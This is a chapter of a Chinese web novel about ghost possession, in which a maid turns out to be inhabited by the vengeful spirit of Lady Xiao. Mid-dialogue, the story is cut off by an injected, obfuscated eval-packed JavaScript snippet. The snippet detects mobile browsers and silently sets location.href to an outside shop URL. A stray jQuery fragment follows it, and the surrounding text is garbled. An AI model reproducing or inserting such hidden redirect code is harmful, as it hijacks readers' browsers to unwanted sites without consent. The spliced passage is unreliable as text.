11. 一柄油纸伞(六)
作品:《神鬼不离》 她不自觉捏着指尖,娓娓道来:“许是海边长大的原因,彩鸢虽是个丫鬟,却是个爽利性子,她身上有种蓬勃的朝气,我们这些生在府内的人见了大都喜欢。”
“我与景风关系尚可,他说这就是他心悦彩鸢的理由。”
萧念月顿了两息:“母亲是否将此事赖在彩鸢头上了?”
见魏长吟点头,萧念月扯了个无奈的笑,她对此早有预料。
母亲长得柔美,平日里又极注意形象,她当年也只是萧府的一个丫鬟,使些手段便轻松爬上父亲的床,又很快怀了身子顺利被抬上位。多半是怕萧景风重蹈萧闫的覆辙,弟弟身边愣是一个丫鬟都没有,全是小厮。
此事难以启齿,萧念月闭口不言,撇了解释的心思。
她羡慕任何不被拘束的人,长在萧府内,是她的幸运,也是她的孽。
她得不到任何人的认可,唯有一个知心知己的彩鸢,也被她害了。若不是她让彩鸢把萧景风送的那些东西还回去,也不会被母亲看见又误会了。
萧念月盯着魏长吟的脸走起了神。
她意识到身手不凡的魏姑娘长了一张没有攻击性的脸,那双眸子里泛着水光,像投在池中随时能打散的水中月,如映在反光面里怎么也摸不着的镜中花,明明脆弱,却因触不到而坚不可摧。
倏地,她透过魏长吟的脸看到了一个奇怪的场景,一个衣着华贵的病弱少女,和魏长吟在一棵桃花树下对弈。
萧念月心念一动,鬼使神差开口:“魏姑娘,你像我的一个故人。”
话音落下她瞬间惊醒,她觉得自己打碎了镜子,又将破碎的镜子扔进了那片原本波澜不惊的池水中。
“对不住,你就当我说胡话吧。”
“你们要找彩鸢对吗?”萧念月岔开话题,移开视线不敢再看魏长吟,天上月高悬,她眺望着那弯月,轻声道:“望春在城西有间院子,彩鸢就住在那里。”
“你真是去己罗巷找彩鸢的?”
“望春告诉我,她听说先前定好的人牙转手将彩鸢卖到了己罗巷。”萧念月轻蹙眉头,突然意识到不对劲:“不过我在己罗巷没有找到彩鸢,是回萧府后,望春告诉我彩鸢被她安排在了城西。”
“你回毓州后亲眼见过彩鸢吗?”
“未曾。”
她那天刚跨进萧府大门便被父亲叫进了书房,被训完又进祠堂挨了家法,还没见到母亲就被关了禁闭,彩鸢的消息还是望春通过送饭的下人递给她的。
萧念月眉心越皱越深,她总算意识到了不对劲的地方。
望春在萧府虽然待了十几年,可她的月钱便是全攒着也买不起城西的房子。
她哪来的城西的院子?
萧念月被魏长吟施轻功带着赶到了城西,脚尖刚落在院中青石板地面站稳就挥袖驱开鼻尖的怪味,用长袖掩住鼻子,拧着眉毛四处打量这方院落。
“咳咳,什么味道?”
空气中有股怪味,像桐油混着血/腥。
比萧府要小很多,出巷子就是坊市,几近临街却不喧闹,算是毓州不错的一个地界。
寅时,天上那轮弦月往西掉去,缀在院落西侧的青墙之上,为下半夜的幽深赋上一捧宁静,为沉睡的毓州点燃一汪月灯,只可惜这片月光照不开这间院落的森森阴气。
魏长吟拉住想要上前的萧念月。
正堂门大开,桌案上点着一盏蜡烛,糊着窗纸的格窗上映着一个模糊人影,长发披散,看身形应当是个女子。
萧念月回头看她:“那是彩鸢。”
魏长吟直觉不对,半夜三更,彩鸢坐在正堂做什么?
她手搭上腰间盘着的长鞭,将萧念月扯到身后掩着,缓步上前走进屋内,那盏蜡烛似乎是受到来人进门飘去的风息晃了一下。
屋内的彩鸢坐在一把椅子上。
光线昏暗,她的一张脸隐在烛光阴影下,裙摆完全遮住双脚,她手上拿着一只巴掌大的布制玩偶正在摆弄,视线自始至终放在玩偶上。
“彩鸢。”
是萧念月喊了一声。
彩鸢无动于衷,她又抚摸了一会玩偶,随后收进衣摆内,她抬起头,魏长吟在彩鸢这张年轻的脸上看见了一个妇人的影子,这个妇人眉心有颗红痣。
她根本不是彩鸢。
“萧夫人。”
魏长吟出声点明附身彩鸢的鬼魂身份。
“原来这位面生的姑娘有阴阳眼啊。”
彩鸢的声线年轻,神情却不,她坐姿挺直浸淫着仪态,眼眸疲懒,单手倚在椅侧撑着下巴,似笑非笑地看着二人。
“被那江湖骗子耽误过时间,赵氏可算是开了点窍。”话毕,她视线上上下下将魏长吟打量了一遍,一字一句:“就是不知,你有没有这个能耐化险为夷。”
在一旁接收到信息的萧念月隐约察觉到不对,忙问:“你不是彩鸢?”
彩鸢闻言一嗤:“你觉得我是,我就是。”
魏长吟将视线放在她始终被遮住的双脚上,不知为何,总觉得彩鸢的腿似乎失去了行动能力,不然怎么连跟着上半身动作的细微带动都没有呢?
像是,鬼魂寄生的宿主快要死了。
生魂被驱逐体外后身体失去行动能力,被鬼魂寄生后可以操控部分身体,等宿主生魂失去生机被鬼魂成功夺舍后,鬼魂便彻底拥有了这具身体的掌控权。
赵姨娘听来的传言歪打正着,彩鸢真的被夺舍了。
魏长吟抽出长鞭,鞭风在空中掠出疾风甩在地上,接触到长鞭的地面震出一道白色冷雾,顷刻弥散。
“彩鸢生魂在何处?”
“她啊?她在萧景风的照竹轩待着呢。”彩鸢好整以暇地坐着:“我估计,黎明前应该就没这个人了。”
萧念月来回看着两人,急得将要掉下眼泪,她觉得今日的彩鸢特别陌生,可她又不是很明白两人在说什么,这些日子来萧府有不少鬼怪的流言。
她攥着魏长吟的袖摆,抖着唇问:“我们面前的彩鸢,被鬼附身了,是吗?”
见魏长吟点了头,萧念月瞪大双眼,眼眶的泪也缓缓掉了下来。
“是望春在帮你。”魏长吟语气笃定:“这间院子是萧夫人你的,也许是陪嫁,也许是望春钻了盼夏的漏洞躲过了赵姨娘的视线。”
“彩鸢被发卖到燕都之后也根本没有被转卖到己罗巷,己罗巷人员繁杂,一切不过都是掩人耳目的幌子,这样一来,你得了彩鸢这个好壳子,还脱离了萧府。”
“是又怎样。”彩鸢丝毫不慌:“要不是赵氏又贪又蠢,怎会落得这个境地呢?”
“这是何意?”萧念月问。
“哼。”彩鸢冷笑一声,她怒瞪萧念月,脸上掩不住鬼魂的狰狞,声嘶力竭地控诉:“你可知你那个亲娘曾经不过是我的一个丫鬟?可知她为何要将望春要过去带在身边
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17408871|200636||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
?看你的样子,定是一无所知。”
彩鸢剧烈起伏的胸膛在话音落下后渐而平复,恢复到那副雍容华贵的夫人姿态,仿佛方才那个面目可怖的人不是她。
她从胸口将那个布娃娃拿出来,随手扔在地上,魏长吟这才注意到地上摆了个火盆。
火舌燎上布制娃娃,红色瞬间将其包裹住,本来不大的火窜起来,竟然在不大的铜盆内烧起熊熊之焰。
彩鸢在一旁坐着,橙红色的光束扫过她的脸,没有一丝少女的美感,她的眼窝被阴影打得极深,一双眸子里没有火光星点,只是一片阴气森森的吊诡。
魏长吟心觉不好,照竹轩有异。
水里好像很冷,呛得嗓子不舒服。
他奋力想要浮起游回岸边,只不过他不会水,一番折腾还在原地。
不仅如此,他甚至觉得自己正在失去意识。
水花打得自己总是要闭上眼,视线受阻,他只能瞥见一抹红梅色搭在了自己檀香色的衣袖上,随即是一双带薄茧的手,牢牢地抓着他带他往岸边游去。
他安心地笑了。
是彩鸢,是这个世上最靠谱的彩鸢姐姐。
萧景风迷迷糊糊地睁开了双眼,他分不清梦境和现实,他好像躺在卧房的床上,身体却湿得还像在水里泡着,呼吸也不太顺畅,和呛了水的感觉差不多。
他转动眼球发现了站在床边的彩鸢。
明明在室内,她却撑着一把油纸伞,油纸伞边缘看起来很旧,颜色鲜红,一股奇怪的血腥味,伞面像刚刷了桐油,还能看到刷痕。
“彩鸢姐姐。”他的声音很哑。
萧景风撑着勉强坐起来,稍微适应一会后,他扭过身子脚踩上地上的鞋,见彩鸢不理他,他以为彩鸢不高兴了,和往常一样想扯她袖子撒撒娇,这样彩鸢就会心软。
但他摸了个空。
他挥空了几次,根本摸不到彩鸢的身体。
“彩鸢姐姐?这是我的梦吗?”他恍惚地猜测:“这是梦对吧?不然你怎么会站在我的床边,你平时那么避嫌,都不肯跟我单独待在一块的。”
“姐姐也总是阻止我对你的靠近。”
萧景风独自絮叨起来:“我亦知晓身份的差距,可那又怎样呢?天子亦可下娶平民,我不过一普通少爷,应当没那么大的限制吧?”
说着说着萧景风愈发委屈,他低声控诉萧念月的阻挠,也抱怨彩鸢不愿意往前一步,反而一直在躲避后退。
不知过了多久,他突地察觉到床边站着的彩鸢提起脚步往外走,他忙站起来跟了出去。
照竹轩竟一个下人也没有。
弦月静静矗立在院墙之上,夹在长竹之间,观其西侧方位,想来是下半夜。
彩鸢站在照竹轩的河渠边上,那把血红色的油纸伞将她全然笼罩在黑暗之下,她望着这条不大不小的院内河渠,天边月色映照在河面上,随波纹轻轻颤动。
“小少爷。”
沉默许久的彩鸢终于开了口:“我们都已是将死之躯,不过我也有可能已经死了,这我也不太清楚。”
何意?萧景风紧蹙眉头,着实不懂彩鸢在说什么。
彩鸢抬头看向他,一双眸子黑极,她静立片刻,悄无声息地靠近了他,萧景风这才发现彩鸢走路不用双脚,她可以腾空于地。
她将他拢在油纸伞下,呵气如兰:“你触不到我的身躯,替我撑伞,可好?”

